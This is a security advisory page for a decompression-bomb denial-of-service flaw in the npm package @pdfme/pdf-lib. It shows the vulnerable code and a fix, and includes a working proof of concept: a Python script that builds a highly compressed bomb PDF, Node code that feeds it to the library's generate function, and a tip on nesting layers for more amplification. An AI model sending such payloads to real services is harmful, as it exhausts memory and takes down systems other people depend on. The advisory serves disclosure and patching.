NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
MEDIUM severity

PDFME Affected by Decompression Bomb in FlateDecode Stream Parsing Causes Memory Exhaustion DoSGHSA-vrqm-gvq7-rrwh

MEDIUM

GHSA-vrqm-gvq7-rrwh is a medium-severity (CVSS 6.5) CWE-409 vulnerability in @pdfme/pdf-lib. A fix is available for @pdfme/pdf-lib — see the affected versions and patch details below.

Also known asCVE-2026-82864
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-vrqm-gvq7-rrwh.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs38th percentile — riskier than 38% of all scored CVEsHighest risk
0.00%0.31%0.62%0.94%0.2%0.4%0.4%0.4%Sep 26Nov 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

44other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@pdfme/pdf-libnpm
367Kdownloads / week

Description

Summary

The DecodeStream.ensureBuffer() method in @pdfme/pdf-lib doubles its internal buffer without any upper bound on the decompressed size. A crafted PDF containing a FlateDecode stream with a high compression ratio (decompression bomb) causes unbounded memory allocation during stream decoding, leading to memory exhaustion and denial of service in both server-side (generator) and client-side (UI) contexts.

Details

The vulnerability exists in the DecodeStream class, which is the base class for all stream decoders including FlateStream (DEFLATE/zlib decompression).

Unbounded buffer growth in ensureBuffer() — packages/pdf-lib/src/core/streams/DecodeStream.ts:148-160:

protected ensureBuffer(requested: number) {
  const buffer = this.buffer;
  if (requested <= buffer.byteLength) {
    return buffer;
  }
  let size = this.minBufferLength;
  while (size < requested) {
    size *= 2;  // Doubles with no upper bound
  }
  const buffer2 = new Uint8Array(size);  // Allocates without limit
  buffer2.set(buffer);
  return (this.buffer = buffer2);
}

The size *= 2 loop has no maximum size check. The buffer will continue doubling until the process runs out of memory.

Unconditional full decompression in decode() — DecodeStream.ts:139-141:

decode(): Uint8Array {
  while (!this.eof) this.readBlock();  // Fully decompresses before returning
  return this.buffer.subarray(0, this.bufferLength);
}

FlateStream.readBlock() calls ensureBuffer() repeatedly during decompression — packages/pdf-lib/src/core/streams/FlateStream.ts:272-274:

if (pos + 1 >= limit) {
  buffer = this.ensureBuffer(pos + 1);
  limit = buffer.length;
}

And again at line 297-300:

if (pos + len >= limit) {
  buffer = this.ensureBuffer(pos + len);
  limit = buffer.length;
}

Entry point via basePdf — packages/generator/src/helper.ts:42-43:

const willLoadPdf = await getB64BasePdf(basePdf);
const embedPdf = await PDFDocument.load(willLoadPdf);

The basePdf parameter accepts base64-encoded data, a URL, or raw bytes. When PDFDocument.load() parses the PDF, it encounters FlateDecode streams and decompresses them through FlateStream → DecodeStream with no size limits.

The same code path exists in the UI package at packages/ui/src/helper.ts:292 and packages/ui/src/hooks.ts:67.

PoC

Step 1: Create a decompression bomb PDF

#!/usr/bin/env python3
"""Generate a PDF decompression bomb for PoC."""
import zlib
import struct

# Create highly compressible data: 100MB of null bytes
# compresses to ~100KB (~1000:1 ratio)
uncompressed = b'\x00' * (100 * 1024 * 1024)  # 100 MB
compressed = zlib.compress(uncompressed, 9)

# Minimal PDF structure with FlateDecode stream
pdf = b"""%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj

2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj

3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]
   /Contents 4 0 R >>
endobj

4 0 obj
<< /Filter /FlateDecode /Length """ + str(len(compressed)).encode() + b""" >>
stream
""" + compressed + b"""
endstream
endobj

xref
0 5
"""
# Write proper xref (simplified for PoC)
with open("bomb.pdf", "wb") as f:
    f.write(pdf)
    f.write(b"trailer << /Size 5 /Root 1 0 R >>\nstartxref\n0\n%%EOF\n")

print(f"Compressed size: {len(compressed)} bytes")
print(f"Decompressed size: {len(uncompressed)} bytes")
print(f"Ratio: {len(uncompressed)/len(compressed):.0f}:1")

Step 2: Trigger via @pdfme/generator

const { generate } = require('@pdfme/generator');
const fs = require('fs');

const bombPdf = fs.readFileSync('bomb.pdf');

// This will cause unbounded memory allocation during PDF parsing
generate({
  template: {
    basePdf: bombPdf,  // Attacker-controlled input
    schemas: [[]],
  },
  inputs: [{}],
  plugins: {},
}).catch(err => console.error('OOM or crash:', err.message));

Step 3: Observe memory exhaustion

# Monitor memory usage — the Node.js process will consume all available memory
# and either crash with a heap allocation failure or be OOM-killed
node --max-old-space-size=512 trigger.js
# Expected: "FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory"

For higher amplification (e.g., 10GB decompressed from ~10MB compressed), nest multiple FlateDecode layers or use a larger null-byte payload.

Impact

  • Denial of Service: Any application using @pdfme/generator or @pdfme/ui that allows users to supply PDF templates is vulnerable to memory exhaustion. A single crafted PDF can crash the Node.js process or freeze the browser tab.
  • Server-side impact: In server-side PDF generation pipelines, this can take down the entire service. The ~1000:1 amplification ratio means a ~100KB upload can force allocation of ~100MB+ of memory, and larger ratios are achievable.
  • Client-side impact: In browser-based usage (Designer/Form/Viewer components), loading a malicious template freezes the tab and may crash the browser process.
  • No authentication bypass needed: The attack only requires the ability to supply a basePdf value, which is the standard template input parameter — no elevated privileges are needed.

Recommended Fix

Add a maximum decoded size limit to ensureBuffer() in packages/pdf-lib/src/core/streams/DecodeStream.ts:

const MAX_DECODED_SIZE = 100 * 1024 * 1024; // 100 MB

class DecodeStream implements StreamType {
  // ... existing fields ...

  protected ensureBuffer(requested: number) {
    const buffer = this.buffer;
    if (requested <= buffer.byteLength) {
      return buffer;
    }

    if (requested > MAX_DECODED_SIZE) {
      throw new Error(
        `Decoded stream size ${requested} exceeds maximum allowed size ${MAX_DECODED_SIZE}. ` +
        `This may indicate a decompression bomb.`
      );
    }

    let size = this.minBufferLength;
    while (size < requested) {
      size *= 2;
    }

    // Cap the allocation even if the doubling overshoots
    if (size > MAX_DECODED_SIZE) {
      size = MAX_DECODED_SIZE;
    }

    const buffer2 = new Uint8Array(size);
    buffer2.set(buffer);
    return (this.buffer = buffer2);
  }
}

Optionally, expose the limit via PDFDocument.load() options so consumers can tune it:

// In LoadOptions interface:
interface LoadOptions {
  // ... existing options ...
  maxDecodedStreamSize?: number; // Default: 100 MB
}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@pdfme/pdf-liball versions5.5.10npm install @pdfme/pdf-lib@5.5.10

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @pdfme/pdf-lib, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @pdfme/pdf-lib to 5.5.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vrqm-gvq7-rrwh is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

## Summary The `DecodeStream.ensureBuffer()` method in `@pdfme/pdf-lib` doubles its internal buffer without any upper bound on the decompressed size. A crafted PDF containing a FlateDecode stream with a high compression ratio (decompression bomb) causes unbounded memory allocation during stream decoding, leading to memory exhaustion and denial of service in both server-side (generator) and client-side (UI) contexts. ## Details The vulnerability exists in the `DecodeStream` class, which is the base class for all stream decoders including `FlateStream` (DEFLATE/zlib decompression). **Unbound
O3 Security · Impact-Aware SCA

Is GHSA-vrqm-gvq7-rrwh in your dependencies?

Find it across npm, including transitive dependencies.

PDFME Affected by Decompression Bomb in FlateDecode…